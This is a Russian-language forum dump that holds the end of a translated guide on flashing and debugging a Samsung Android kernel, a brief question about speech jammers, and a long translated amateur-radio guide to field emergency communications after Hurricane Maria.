Это, конечно, предполагает, что вы выполняете его в папке AIK, и что recovery.img и cache.img находятся в папке Downloads. Обратите внимание, что имена разделов («BOOT», «RECOVERY» и «CACHE») пишутсяс большой буквы и с учетом регистра.

image6.png

Ваше устройство будет перезагружено пару раз, и после того, как мы подключимся к нему, если вы выполните «uname -a», вы увидите следующее:

image3.png
Посмотри дату на ядре!

Как вы видите, мы успешно обновили наше ядро!

Что может пойти не так?
Итак, вы только что закончили перепрошивать свое новое ядро и столкнулись с проблемами. Вот несколько вещей, с которыми у меня были проблемы, и как их решить:

● Если после перепрошивки ваше устройство застряло на цикле загрузки, попробуйте выполнить сброс до заводских настроек через режим восстановления. Это делается по-разному на каждом устройстве. В моем случае, вы должны удерживать " кнопку питания + громкость вверх + домой", пока не получите экран восстановления.
● Устройство зависло в процессе загрузки. Вы пытались выключить и снова включить? : D
● Если ничего не работает, вы можете проверить журнал kmsg в /proc/last_kmsg. Для этого я рекомендую установить на телефон TWRP, загрузиться его и посмотреть содержимое.

Специально для xss.is
Переводчик статьи - https://xss.is/members/177895/
Источник: <https://medium.com/@alex91ar/debugging-the-samsung-android-kernel- part-2-cebac7069863>

Anti Speech Jummer
ID: 676535aeb4103b69df3736a9
Thread ID: 28710
Created: 2019-04-11T04:51:45+0000
Last Post: 2019-04-11T04:51:45+0000
Author: countervector
Replies: 0 Views: 2K

Здорово.
Как работает Speech Jummer?
Как работае Reading Jummer?
Как создать Anti Reading Jummer/Anti Speech Jummer?!?
Java Src? Sites? Links?

Руководство Reddit по аварийной радиосвязи
ID: 676535aeb4103b69df3736ab
Thread ID: 28154
Created: 2019-03-06T18:23:55+0000
Last Post: 2019-03-06T18:23:55+0000
Author: utrom
Replies: 0 Views: 2K

_На случай бедствия, войны... :smile24: Прочитать на раз и не забывать что интернета не будет.

Роман Вега много пишет на данную тему из застенок._

После удара стихии в сентябре 2017го года по острову Пуэрто-Рико радиолюбительская организация США, АРРЛ, бросила клич, призывая добровольцев- радиолюбителей помочь Красному Кресту в ликвидации последствий урагана "Мария". Среди откликнувшихся на зов был и NS0S, автор нижепереведённого документа.

Предисловие автора, Джереми Дугерти, радиолюбительский позывной сигнал опознавания NS0S:

Я делюсь своими наблюдениями, основанными на опыте выездной аварийной радиосвязи. Это только руководство. Мне нужна поддержка сообщества, чтобы сделать его лучше. Вместе мы можем прийти к отличным идеям. Есть вещи, в которых я не силён, и это нормально. Вместе мы можем составить краткое и ёмкое руководство, чтобы помочь себе в подготовке к следующему случаю, когда нас позовут на помощь. Мои мысли основываются на моём опыте аварийщика, пожарного, парамедика, солдата, бойскаута и радиолюбителя высшей категории. Мысли других опираются на их уникальный жизненный опыт и познания. Ничто в этом пособии не призвано подменить собой официальные инструкции либо местные регламенты. Это совместная инициатива, предполагаемая к использованию в аварийной радиосвязи по всему миру.

" Будь готов"

Вы не можете знать, когда вас позовут на помощь. Вам нужно практиковаться и оттачивать свои навыки. Если вы погружены в цифровые режимы, вам, видимо, нужно время от времени отвлекаться от них и браться за микрофон. Если вы обожаете микрофон, вам всерьёз нужно освоить несколько цифровых режимов. Если вы знакомы и с тем, и с другим, вам стоит изучить телеграф. Вам нужно иметь как можно больше инструментов в своём распоряжении.

Учитесь использовать весь потенциал вашего оборудования. В аварийных ситуациях часть его может внезапно отказать, поэтому вам нужно знать, как обращаться с каждым прибором в отдельности. Например, программное обеспечение для настройки радиостанций очень полезно, и сподручно в аварийной ситуации, но если ваш компьютер откажет - придётся программировать радио вручную. Знайте, какое ваше оборудование зависит от какого, и примите меры, чтобы избавиться от этой зависимости.

Перечень для сборов:

Полезное дополнительное оснащение:

Радио, электропитание, и согласующее устройство

У каждого свои предпочтения в части изготовителей. Опираясь на свой полевой опыт, я рекомендую Elecraft KX3, поскольку у него есть встроенное согласующее устройство, встроенный источник питания, и работает на УКВ. Впрочем, выбирайте любое оборудование, которое вас устраивает, пользоваться-то им предстоит вам. Только помните, чтобы вы ни брали, это будет в нагрузку к вашим личным вещам. Включая и перетаскивание по аэропорту.

На втором месте по моему выбору был бы Yaesu 897. Также достойны упоминания Icom 703, Icom 706, Yaesu 817, Yaesu 857. Также рекомендуется установить полосовой фильтр в свой трансивер. Другие радиостанции поблизости, работающие на соседних частотах, могут помешать вам держать связь. Если вы работали в напряжённый Полевой День, то знаете, о чём речь. Если у кого-то есть предложения по трансиверам, неизвестным мне, то я с удовольствием выслушаю.

Какое бы радио вы ни выбрали, желательно совместить функциональность насколько возможно. КВ и УКВ в одном радио - лучше, чем тащить две отдельных станции. Встроенное согласующее означает на один прибор меньше, а ручное согласующее означает на один шнур питания меньше. Встроенный источник питания - это меньше шнуров и меньше расход энергии.

Вас должен больше интересовать размер и вес радио, нежели излучаемая мощность. Например, крупный ураган может нанести повреждения на территории двухсот километров в поперечнике, и в этой ситуации вам не нужно сто Ватт для связи, меньшая мощность отлично справится с задачей. Другое преимущество небольшого радио - то, что вы можете запитывать его от ноутбучного источника питания. Потребуется всего 3 Ампера при 12 Вольтах, чтобы выдать 15 Ватт.

Ещё один способ мысленно подготовить будущую аварийную связь на выезде - подумать, что бы вы взяли для полевой связи в походе. Я бы не полагался в аварийной связи на менее чем пять Ватт. Но, если вы сами везёте собственное оборудование в маленький город в другой стране, с отключённым электроснабжением, то сами думайте, что брать с собой.

Если ваше радио установлено в короб для полевого выезда, то это тот самый случай, когда он пригодится. Это очень разумный и удобный способ развёртывания связного оборудования. Вам буквально нужно только открыть крышку и забросить антенну, и в считанные минуты есть связь. Если нужно переместиться, упаковать радио так же просто. Опробуйте все приборы и убедитесь, что всё работает, прежде, чем выезжать.

Антенна

КВ антенна

Я много раз слышал утверждение, что антенна важнее, чем само радио. Это верно. Антенна - ключ к успеху в зоне бедствия. Вы можете вкачать полтора киловатта в пружину от кровати, но это и близко не будет так эффективно, как пять ватт с резонансным диполем. Дома у меня дублет, шести-диапазонный вертикал, и антенна с запиткой с конца. Воздержусь от того, чтобы рекомендовать какой-то тип антенны по сравнению с другим. Вариантов столько же, сколько типов антенн.

Антенны Buddipole - приятный концепт для выездной работы в Полевой День. Но в большинстве случаев это выливается в прогулку на 15 метров от вашего авто. По факту, они гораздо более хрупкие и неудобные, чем старый добрый провод. Я лично знаю много человек, у которых эта антенна ломалась в полевых условиях. Достаточно сильного порыва ветра, чтобы испортить выезд. Если вы где-то далеко, эта неприятность погубит вашу миссию.

В аварийных ситуациях может подойти тактическая магнитная рамка. Однажды настроив, её обычно не нужно подстраивать. Часто вы просто занимаете одну частоту и остаётесь на ней. Готовые изделия продают LNR Precision, Alpha Antenna, и Chameleon Antenna.

Независимо от вашего конкретного выбора, я советую использовать ту антенну, с которой вы знакомы, и которая работает на нескольких диапазонах. Ваша главная станция может работать только на одной частоте, но вам всё же потребуется смена диапазона для цифровой связи или для контактов вне зоны бедствия.

УКВ антенна

Применительно к УКВ антенная я настоятельно не рекомендую всё, что включает в себя телескопические части. Эти антенны очень хрупки. Если кто-то заденет такую антенну, она почти наверняка сломается. Антенны на магнитном основании могут очень пригодиться во многих ситуациях. Вы можете использовать их в движении и закрепить на крыше базовой станции.

Вариант - использовать магнитное основание с разъёмом BNC или SMA с закреплённой на нём антенной Signal Stick (signalstuff.com). Эти антенны почти неуязвимы и занимают очень мало места. Недостаток их в том, что они могут оказаться не так эффективны, как специализированные мобильные антенны.

Портативный трансивер

Возьмите с собой портативку и, как и со всем вашим остальным оборудованием, знайте, как ею пользоваться. Если у вас есть две, берите обе. То, что у вас есть станция - не означает, что другие в вашей группе взяли с собой свои. Если вы перемещаетесь группой из нескольких автомобилей, то полезно поделиться станцией с машиной, идущей перед вами, для координации при неисправности или смене маршрута. Вас могут оставить на горе одного. Всегда полезно иметь возможность поговорить с кем-то в долине. Я не знаю, с какими обстоятельствами вам предстоит столкнуться. В моём случае мы были развёрнуты на пожарной станции, потерявшей всю связь. Мы передали пожарным обе станции, что нам выдали. К счастью, я и мой партнёр взяли из дома свои. Вам нужно также знать, как их программировать.

Вам нужно помнить, что обычные методы связи могут быть полностью неприменимы. Большие периоды времени могут посвящены просто поискам того, с кем нужно связаться. Портативки могут сберечь кучу времени.

Если у вас нет отдельной мобильной радиостанции или базовой станции, то вам может пригодиться коаксиальный адаптер и кронштейн для мобильной антенны, чтобы выводить их вовне вашей машины или помещения, [подключив к портативке]. Ваша портативная станция будет работать гораздо лучше, если сигнал не будет заблокирован стенами дома или корпусом авто.

Если портативки планируется использовать как резервный или нештатный способ связи, убедитесь, что все задействованные лица знают план проведения связи. Если ваша организация не снабдила вас планом связи на коротких дистанциях или от человека к человеку, вам нужно выработать его самостоятельно. Плану связи не нужно быть сложным, чтобы быть эффективным, в хорошем плане достаточно двух частот и расписания их использования. Простые планы легче запомнить и ими легче поделиться, когда делитесь ими с новичком. Если возможно, избегайте привязки к вызывной частоте на диапазоне. Вызывные частоты часто перегружены и дезорганизованы, что мешает эффективной связи.

Шнуры, коаксиалы, удлинители

Ваша базовая станция может располагаться не в лучшем месте для связи. Часто вы ограничены местами, где есть электропитание. Это может быть больница, пожарная станция, полицейский участок. Даже если вы взяли с собой генератор, у вас может не быть доступа к топливу. Поэтому вы часто зависите от внешних ресурсов. Если вы в больнице, на всех ли этажах есть электричество? На парковке пожарной станции есть деревья или столбы, чтоб закинуть антенну? Свалила ли буря все деревья на мили вокруг?

Вам, видимо, потребуется больше шнура, чем вы можете ожидать. Если антенна висит на столбе освещения, у вас уходит по 12 метров шнура с каждой стороны просто чтобы дотянуться до земли и привязать её. Если между столбами 60 метров, а ваша антенна длиной 40 метров, то вот у вас ушло ещё лишних 20 метров шнура. Ваш коаксиальный кабель должен дотянуться до вашей радиостанции от места, где вы подвесили антенну. Ваша радиостанция нуждается в электропитании. Эти удобства могут не совпадать территориально.

Вам также потребуются все адаптеры, нужные для выполнения задачи. Магазина, чтоб исправить вашу забывчивость, не будет. Найти соединительный разъём станет практически невозможно. Хороший способ - надеть разъёмы на кабель и соединить концы. Это удержит кабель в свёрнутом состоянии в пути. Это также убережёт разъёмы от повреждений.

Тренируйтесь использовать коаксиал, отрезать, разделывать и оконцовывать. Это не нужно делать по пути или уже в зоне бедствия. Раздобудьте обрезков кабеля и упражняйтесь чисто разделывать его теми инструментами, которые будут с вами. Плохой рез плохим инструментом очень мешает оконцевать кабель и приводит к необходимости резать снова, а это напрасный расход ограниченного ресурса. Снятие внешней оболочки может показаться простым делом, но в процессе очень легко повредить металлическую экранировку кабеля, не заметив этого. По возможности, пробуйте разделывать разные типы кабеля (RG-6, RG-7, RG-8), пока не освоитесь с каждым. В своей радиорубке вы можете пользоваться только одним типом, но в аварийной ситуации придётся работать с тем, что дали или что смогли найти. Сращивать кабели может быть не лучшей идеей с точки зрения сбережения силы сигнала, но в полевых условиях может не быть выбора, тренируйтесь в этом деле, с адаптерами и без. Пробуйте сращивать линию питания антенны, фидер, и отслеживайте эффективность до и после, чтобы знать, что работает, а что нет. Большинство радиолюбителей имеют опыт обращения с кабелями, но лучше практиковаться, пока есть возможность. Тренируйтесь в разных условиях, в темноте, с влажными и замёрзшими руками, там, куда вы можете дотянуться, но не можете видеть, например, за углом. Никогда не знаете, когда реальной аварийной ситуации вам потребуется работать с коаксиальным кабелем. Даже если вы чего-то не можете сделать в силу нехватки опыта, физической невозможности, или других факторов, по крайней мере, вы хотя бы будете знать, на что способны.

Другие предметы

В свой выезд вы можете пожелать прихватить много дополнительного оснащения. Возможности сбегать домой за забытой вещью не будет.

Наушники очень полезны. Если вы пытаетесь принять слабый сигнал, они практически необходимы. Вы можете быть в одной комнате с ещё 20 людьми, занятыми другими делами. Вы не можете ждать, что каждый из них замолчит каждый раз, когда вам нужно принять сообщение.

Рогатка может быть полезным инструментом. Знаю, звучит немного по-детски. Говоря начистоту, это одно из лучших устройств для забрасывания антенны. Её легче упаковать и ею легче прицелиться, чем удочкой. Мне нравится думать о себе как о здоровом крепком человеке, но я не могу прицельно забросить камень на 15 метров вверх с прицепленным к нему шнуром. А попробуйте это сделать через уличный фонарь метровой толщины, да почти невозможно. Приспособление для заброса антенны часто упускается из виду, когда обсуждают оборудование для аварийной радиосвязи. На самом деле, это должно стать неотъемлемой частью вашего комплекта.

Также полезен мульиинструмент в том или ином виде. Вам он пригодится для затягивания разъёмов или обжимания проводов. Отвёртка послужит во множестве задач. Я использовал карманный нож каждый день на своём выезде. У меня не было мультитула. У меня были плоскогубцы, узкогубцы, набор отвёрток и складной нож. Я мог взять один предмет, способный всех их заменить, сэкономив место и вес.

Письменные принадлежности и блокнот также необходимы. Вам следует всегда иметь при себе авторучку. Я также советую постоянно иметь при себе небольшой блокнот. Более крупный блокнот понадобится на базовой станции. Я бы воздержался от блокнота на спирали. Если вы записываете много сообщений или перелистываете его в поисках информации, обложка просто отвалится. Стенографический блокнот или тетрадь для конспектов обычно гораздо прочнее. Вы можете даже разжиться влагостойким, если захотите.

Навигаторы становятся всё дешевле, и очень полезны для безопасности. Особенно если вы в одиночестве. Кто-то должен знать, где вы находитесь. Другие члены команды могут быть не знакомы с местностью. Они могут не знать ориентиров поблизости от вас. Ваше местоположение может даже не иметь уличного адреса. Возможность сообщить ваши точные координаты - важная часть дела. Если вы в опасности, ваши координаты могут быть лучшим способом найти вас. Вам также может потребоваться возможность сообщить координаты угроз, мест для сброса припасов, или других имеющих значение мест (сборный пункт, убежище, работающая сотовая вышка).
Вы можете использовать современный смартфон как навигатор. Если вы это делаете, проверьте навигационные возможности телефона, и можете ли вы прочитать на нём координаты. Убедитесь, что телефон действительно имеет навигационный приёмник, часть телефонов опирается на данные от сотовых вышек. Это можно увидеть в настройках, так что раздобудьте инструкцию к вашему телефону. Прежде, чем отправляться на выезд, попрактикуйтесь получать координаты из приложения на телефоне, каким бы оно ни было. В некоторых приложениях это сделать довольно трудно. Прежде, чем покинуть дом, скачайте карту мест, куда направляетесь, чтобы открывать их в офлайновом режиме. Если вы собираетесь пользоваться телефоном как навигатором, поищите соответствующие приложения для него, гугл-мапс хороши, но специализированные приложения часто предлагают широкие возможности, которые вам пригодятся на выезде. Если вы отправляетесь в другую страну, установите приложение-переводчик. Если вы берёте смартфон, убедитесь, что все нужные приложения способны работать офлайн, имейте в виду, что офлайновые гугл-карты прекращают работать через месяц.

Если вы используете цифровые режимы связи, потребуется что-то вроде планшета или ноутбука. Вам он не для просмотра кино, поэтому он не должен быть большим. Вам нужно убедиться, что программное обеспечение установлено и испытано заранее. Вам могут потребоваться драйвера. Проверьте, всё ли работает как надо, прежде, чем отправляться. Будьте готовы к более чем одному виду цифровой связи. PSK31, Winlink, APRS и множество прочих имеют достоинства и недостатки. Есть смысл подготовиться к каждому виду. Я бы рекомендовал установить и держать в готовности RMS Express, FLDIGI и WSJT-X.

Дешёвый мультиметр - ценный инструмент, если вы умеете им пользоваться. Он убережёт вас от долгих часов уныния, если вы пытаетесь понять, какая жила кабеля порвалась. Вы сможете проверить, заземлена ли электрическая розетка, или какое в ней напряжение.

Личные вещи и подготовка

Уложить ваши личные вещи не менее важно, чем ваше радио. Если вы забудете полотенце, вам придётся высыхать без него весь ближайший месяц. Если забыли репеллент, будьте готовы к печальному опыту.

Я бы укладывал одежду, которая быстро сохнет. Вы можете простирнуть синтетику в умывальнике, и наутро она сухая. Уложите походное полотенце, если оно у вас есть. Они впитывают лучше и сохнут быстрее, чем обычные. Мне как-то довелось читать, что полотенце - самый важный предмет для похода, оно может служить одеялом, подушкой, шарфом и платком.

Я настоятельно советую взять пару хороших походных ботинок с мембраной. Это не то, что вы можете купить в универмаге. Вам также потребуется какой-нибудь прочный рюкзак. Опять же, я б не доверял тому, что продаётся в супермаркете. Это должен быть надёжный рюкзак. Под весом пайка, фляг, портативок и блокнотов дешёвый рюкзак просто лопнет. Ищите что-нибудь с кучей карманов. Вам нужно разделить вещи, чтобы не перетряхивать всю сумку в поисках одного предмета.

Не берите чемодан или сумку на колёсиках. К своей поездке я посетил местный военторг и приобрёл подержанный рюкзак от системы ALICE. В него уместились все мои вещи и туалетные принадлежности. Сворачивайте свои футболки и остальную одежду, так они займут меньше места и будут выглядеть посвежее.

Берите с собой индивидуальные медикаменты на месяц. Поищите в интернете, не нужно ли сделать прививки при визите в места, куда вы собрались. Посетите своего доктора, если есть время. Иногда он может выписать вам рецепт на антибиотики просто на всякий случай, чтоб принять, если заболеете. Это будет прекрасная оказия выяснить, что у вас есть проблемы со здоровьем, о которых вы не подозревали.

Возьмите с собой наличные, чтобы продержаться всё время вашей миссии. Если вы оправляетесь туда, где нет телефонов и интернета, это означает, что банкоматов там тоже нет. Вы можете оказаться в местах, где ресурсов и так было негусто, когда подоспел удар стихии. Если вы можете покупать себе еду - так и делайте. Будет нечестно ожидать от находящегося в нужде общества, что оно позаботится о ваших нуждах, когда оно и о своих-то не может позаботиться.

Прежде, чем вы отправитесь

Убедитесь, что всё уложено как надо. Сами вручную укладывайте каждую вещь в своём багаже. Ведите перечень вещей, чтобы ничего не забыть. Готовьтесь, как будто вы отправляетесь в отдалённые дикие места. Вам нужно быть настолько манёвренными и подготовленными, насколько возможно.

Раздобудьте контактную информацию относительно всех ресурсов, которые вам могут понадобиться.
Вам нужно знать иерархию на местах. Уясните своё главное контактное лицо. Если вы приданы в помощь другой организации - выясните, кому вы подчиняетесь.

Что мне показалось странным по прибытии - так это то, что не было установленного порядка того, что мы делали. Они сказали, что только готовили инструкции, как действовать. Много времени было потрачено впустую без чёткого плана. Даже мелочи вроде того, какую частоту использовать, приводили к спорам. Каждый хотел высказать своё мнение.

Я люблю правила. Я люблю знать, какие шаги предпринять, и в какой очерёдности. В армии мне не нужно было много думать. Всё было продумано за меня. Мне не надо было писать инструкцию по СЛР, за меня это сделали Красный Крест и ассоциация кардиологов. Мне нужно было только запомнить шаги.

Попробуйте выработать порядок действий прежде, чем прибудете. Что-то в этом роде должно быть разработано и установлено задолго до того, как вас позовут содействовать в аварийной ситуации. Самое меньшее, вам нужно знать несколько простых вещей. На какой частоте мы работаем? Какова запасная частота? Какой режим связи мы используем? В какое время главная станция будет в эфире? Будем ли мы каждый день проверять состояние каждого из нас? Какие работы мы выполняем? Каково описание этих работ? Теперь запишите это всё на листе бумаги и положите в свою тревожную укладку.

По прибытии

Прислушивайтесь к обстановке. Знайте, что вас окружает. Не принимайте всё на веру. Если кто-то говорит вам, что вы в опасных краях, уточните, что под этим подразумевается. Я был в "опасном" городе. Я спросил, сколько здесь убийств в год, и мне ответили "может быть, одно". Моё представление об опасном месте может сильно отличаться от чьего-либо чужого. Люди почти всегда - хорошие. Если вы попросите о помощи, вы часто получите её. Большинство преступлений - мелкие и незапланированные. Если у вас дорогие часы, оставьте их дома. Не складывайте всю свою наличность в бумажник, каждый раз при оплате предъявляя всё его содержимое окружающему миру.

Если вы в чужой стране - помните, что чужая культура может очень сильно отличаться от того, к чему вы привыкли. Традиции, обычаи и запреты, с которыми вы столкнётесь, будут другими и сперва могут показаться странными. Понимайте, что у вас есть стереотипы, и преодолевайте их. Знакомьтесь с культурой людей, рядом с которыми вы работаете, но не подвергайте себя опасности только ради совместимости; незнакомая пища, питьё и лекарства могут причинить вред здоровью, а ваши знакомые могут непредумышленно навлечь на вас недуг. Старайтесь уважать и признавать культуру, с которой соприкоснулись, и вас, скорее всего, признают, несмотря на различия.

Будьте готовы услышать много непроверенных слухов и искажённых новостей. Обычные методы связи нарушены. "Мельница сплетен" от этого только набирает обороты. Помню, одним утром мы с напарником услышали, как ещё один наш сокомандник с отдалённой позиции спрашивает о свежей новости, которую он только что услышал. Он пытался узнать, действительно ли Северная Корея нанесла удар по Соединённым Штатам. Ситуацию усугбляло то, что главная станция сети также была не уверена. Мы терпеливо ждали несколько минут, пока с главной станции проверяли, не превратились ли США в ядерную пустошь, пока мы тут волонтёрим в двух тысячах миль от родной стороны. Было довольно комично, когда это случилось. На секунду я почувствовал облегчение, что остался в живых. Оказалось, что Северная Корея нас не атаковала.

Не бойтесь спрашивать дорогу, когда перемещаетесь. То, что на карте показан удобный путь, не означает, что ей всё ещё можно верить. Дорога может быть разрушена. Будьте готовы к препятствиям на дороге. Поглядывайте, не отключились ли светофоры. Вы никому не поможете, если получите ранение до прибытия на место работ. Делайте записи о всех встреченных препятствиях.

Когда вы прибудете к месту конечного назначения, постарайтесь определить, где нужно расположить вашу станцию. Вас могут отправить в город без указания точного местоположения. Вам могут назначить определённый адрес. Выясните точно, где вам нужно быть. Желательно найти место с постоянным электроснабжением, если возможно. Вам нужно найти место, где сможете расположить свои вещи, где будет убежище от непогоды, и место для отдыха. Если это всё возможно совместить в одном, то ещё лучше. Если вы чувствуете, что место неподходящее, не бойтесь спросить о других вариантах. Те, кто не имеет опыта в любительской радио, могут не понимать, каковы ваши потребности. Вы не можете ожидать, что кто-то понимает, что такое диполь на диапазон сорок метров. Их представление о радиосвязи может не простираться далее гражданских портативок или сибишки с шестиметровой антенной.

Вам желательно находиться как можно ближе к своему оборудованию. Предпочтительно спать рядом со своим радио. Никогда не знаешь, когда нужно будет передавать аварийное сообщение. Вам нужно сделать так, чтоб вас легко было найти. Если вам приходится отлучиться, известите кого-нибудь о том, как вас отыскать.

Развёртывание

Я всегда думал, что развёртывание станции - самое приятное в хобби. Мне больше нравится "Лего", нежели "Монополия". Это самое время для веселья. Если вас отправили одного - самое время завести друзей. Человек без особого опыта в радио с удовольствием увидит, как все эти причиндалы собираются воедино. Не бойтесь позволить кому-то прийти к вам на помощь.

Работа с подключением к электросети

В зависимости от состояния сети электроснабжения в зоне бедствия у вас может быть, а может и не быть, доступ к питанию из розетки. Прежде, чем пытаться подключиться, важно быть в курсе, куда вы включаетесь, и иметь общее представление о работе электросети.

Разные страны мира используют разные стандарты электросетей, разительно отличающиеся по характеристикам. Напряжение варьируется от 100 Вольт в Японии до 240 Вольт во многих других государствах. Даже если вилка на вашем приборе совместима с розеткой на стене, нет гарантии, что электропитание из розетки совместимо с вашим оборудованием. Даже переходники, продаваемые для путешественников, следует использовать с осторожностью. То, что переходник подошёл, ничего не меняет в напряжении и частоте тока. Если вы направлены в другую страну, лучше проконсультироваться об электрических стандартах с направившей вас организацией.

Радиолюбитель, направленный на ликвидацию последствий аварии в пределах родной страны, может быть относительно уверен, что электросеть в зоне бедствия совместима с его оборудованием. Однако важно помнить, что в аварийных условиях ничто не гарантировано. Повреждение электросети может привести к скачкам напряжения, перебоям и отключениям. Если возможно, лучше всего полагаться на те источники питания, которые вы взяли с собой: аккумуляторы, генераторы и солнечные панели. Генераторы - отличный метод обеспечения питанием на длительный срок, но и они подвержены скачкам напряжения. Защитный фильтр поможет защитить оборудование при работе от генератора, иначе же от генератора только заряжайте аккумуляторы, и запитывайте радио от аккумуляторов.

При работе из штабов аварийных работ (например, больниц, полицейских участков, пожарных станций, аварийных убежищ и т.п.) было бы правильным испросить разрешения у ответственных лиц прежде, чем что-либо втыкать в розетки. На определённых линиях могут быть ограничения по амперажу, определённые втеки могут быть предназначены только для оборудования жизнеобеспечения, либо может быть запитана только часть розеток - от генератора. Что бы вы ни делали, получите разрешение на отключение чего-либо, даже если необходимость этого вам неочевидна. При работах со спасателями - не ваше дело решать, что необходимо, а что нет. Получите разрешение, чтобы своими действиями никому не создавать угрозы.

Сетевое электричество может убить вас прежде, чем вы успеете понять, что находитесь в опасности. Примите все нужные меры, чтобы не соприкоснуться с электросетью. Следите за тем, куда вы идёте и что трогаете. Даже если вы работали электриком десятки лет, не пытайтесь наладить что-либо в зоне бедствия - в аварийной ситуации всё непредсказуемо, и то, что вы сотни раз делали дома, может вас поранить или убить. Избегайте напрасного риска - вы обеспечиваете жизненно необходимую радиосвязь, и если будете ранены, то не только не сможете делать своё дело, но и удлините список пострадавших, о которых нужно позаботиться.

Размещение антенны

Если вы в зоне урагана, то рядом может не остаться деревьев. Мыслите вне шаблона при размещении антенны. Если вы в центре города, ваша антенна может быть растянута над улицей между двумя высокими зданиями. В Сан-Хуане я установил антенну в больнице, одним концом к козырьку крыши, далее через две улицы и вторым концом к другому зданию, не имеющему отношения к больнице.

Вам также нужно принимать во внимание, с кем вы намереваетесь поддерживать связь. Вам ведь не нужно "обнулить" главную станцию. Расположение антенны - важная часть связи по радио.

Старайтесь разместить свои кабели и радиостанцию, не мешая другим. Вы гость в чужом доме, ведите себя соответственно. Не оставляйте пластиковых стяжек в траве. Не бросайте коаксиал в проёме входной двери, вам не нужно устраивать силков и ловушек. Организация, предоставляющая вам кров, может быть не в курсе того, что вы делаете и как работает ваше оборудование. Задумайтесь на секунду, как вас раздражало бы, если б какой-то чужак влез на поле вашей деятельности и принялся раскладывать повсюду свои провода.

Когда всё будет установлено, проверьте исправность станции. Вызовите главную станцию на назначенной частоте. Если она не ответит, просто покрутите валкодер и убедитесь, что вы слышите хоть кого-то, и вас слышат.

Не бойтесь попросить о помощи. Мне для одной задачи нужна была лестница, я прошёлся милю до пожарной станции, и они были очень рады помочь. Мне не только принесли антенну, но и помогли забраться на столб, чтобы закрепить антенну. Вы всегда можете ожидать, что вам помогут. И будьте благодарны за любое содействие.

Будьте находчивы. Если вам нужен переходник, подумайте, где его можно раздобыть. Вы близко к океану? Морские станции метрового диапазона используют такие же UHF-разъёмы, как любительские станции. Есть ли здесь местные спасатели? Они тоже пользуются радио. Они могут не быть операторами любительской службы радиосвязи, но на базе у них есть кабель. Коммерческие радиостанции могут располагать принадлежностями, которые вам нужны. Любительских радиомагазинов не будет к вашим услугам. Думайте сами, где раздобыть нужное.

Когда вы устроились

Теперь, когда вы всё настроили, начинается настоящая работа. Первое, что нужно сделать - вызвать главную станцию. Сообщите ей своё точное местоположение и обстановку. Это отличная возможность передать координаты и уличный адрес. В любой момент с вами и вашей станцией может что-то случиться, и у вас не будет возможности передать эту информацию позже. Если закончится топливо для вашего генератора, может пройти время, пока запас горючего пополнится.

Вам также следует сообщить главной станции, с какими препятствиями вы столкнулись. Поясните любые ограничения, которые на вас действуют. Попросите помощи, если она вам нужна. Есть вероятность, что вы первый человек со стороны, попавший в эти места. "Нарисуйте" для главной станции чёткую и ясную картину того, с чем вы столкнулись в пути и на текущей позиции.

Так вы также сообщаете важную информацию, которой другие группы могут воспользоваться до того, как прибудут в вашу местность. Возможно, потребуется выбрать запасной маршрут из-за перекрытия основной дороги. Хороший аварийный связист - хороший разведчик.

Второе, что надо сделать - дать знать общественности, что вы прибыли. Вас могли направить туда, где не ждали вашей помощи. Никто не воспользуется вашими услугами, если не знает о них. Встретьтесь с местными властями. Выясните, какие трудности встали перед ними. Устанавливайте контакты с данной местности и ведите им учёт. Выучите имена и должности людей, с которыми работаете. Поясните ваши возможности и что вы можете сделать. Будьте очень конкретны в описаниях, поскольку, если скажете, что можете отправить электронную почту, то собеседники могут подумать, что вы обеспечиваете доступ в интернет.

Когда вы на задании

Вы - оператор любительского радио, ведущий аварийную радиосвязь. Вы передаёте сообщения. Не усложняйте. Вас позвали для поддержания связи. Держите её, и делайте это как следует.

Пока вы у своей радиостанции, старайтесь помочь как можно лучше. Вам следует всегда помнить, что вы - гость. Вы можете быть не связаны с группой, которую поддерживаете, но вы остаётесь её посланником. Вы также посланник сообщества любительского радио.

Это означает, что вы можете помочь с делами по дому. Поддерживайте чистоту на рабочем месте. Держите вещи аккуратно сложенными в сумки. Вашу постель аккуратно сложите на ложе. Это облегчит и переезд на другую позицию. Хороший норматив, если за полчаса вы готовы полностью собраться. Если ваши пожитки разбросаны, вам нужно пересмотреть свой подход к использованию оборудования и личных вещей.

Мне известно мало людей, для которых любительское радио стало работой. Если дома вы механик по дизелям, и кому-то требуется починить генератор, вы можете оказаться самым подходящим для этого человеком. Я не предлагаю податься на заработки, опирайтесь на здравый смысл.

Я использовал свой прежний опыт и знания в разных обстоятельствах. Я всегда спрашивал разрешения прежде, чем сделать что-либо. Однажды я снимал швы за доктора. Другой раз накладывал повязку на ожоги. Я был здесь и считал естественным помогать. Мой совет - не строить из себя начальника. Методики, которыми вы пользовались в своей профессии дома, могут не подходить к местной специфике.

Есть кое-что, что я открыл для себя в других странах - многие люди имеют в жизни один карьерный путь. В США нередко встречается, что человек несколько лет проработал риэлтором, и однажды решил стать медбратом. Вы можете встретить много людей, которые в вооружённых силах были механиками, разведчиками, медиками, или инженерами. Этим карьерам может не найтись места в гражданской жизни. После службы в армии они могут углубиться в деловой мир. В любительском радио много разносторонних сметливых людей. Используйте свои таланты там, где они пригодятся.

Что делать в свободное время

Вы можете ожидать, что временами будете очень заняты. Первые несколько дней ведения связей будут самыми трудными. Не удивляйтесь, что большая часть времени будет посвящена переездам и налаживанию связи. Когда события улягутся, попробуйте немного развлечься. Работать 24 часа в сутки нельзя. Отдых помогает сохранять сосредоточенность и продуктивность.

Когда вам выпадет минута досуга, это отличный момент для DX-инга или просто болтовни по радио. Радиолюбители с удовольствием послушают о вашем опыте. Я с удовольствием связывался в режимах FT8 и JT65 по вечерам. Возможно, ваша позиция даст вам возможность установить связи, которые не удавались из дома.

Что сработало для меня

Голосовая связь

Голосовые режимы для меня всегда были эффективны. Если я не могу вызвать главную станцию, я всегда могу связаться с сокомандниками, которые слышат. Когда вы в обширной зоне бедствия на одной частоте, есть большая вероятность, что кто-то из радиолюбителей извне слышит вас. Используйте это себе на пользу. Кто-то, сидящий у себя в радиорубке за три тысячи миль от вас, может оказаться этим героем.

Моё оборудование

Современные трансиверы весьма надёжны. В них нет хрупких ламп, которые могут побиться. Меня подвёл только один предмет, это был коаксиальный кабель. Мой Icom 7200 - хорошо сделанная железка. С ним легко управляться. Лишь несколько раз я лазал в инструкцию, для связи цифровыми режимами. Встроенной звуковой картой и управлением с компьютера также очень легко пользоваться.

Импровизация и опора на мой предшествующий опыт

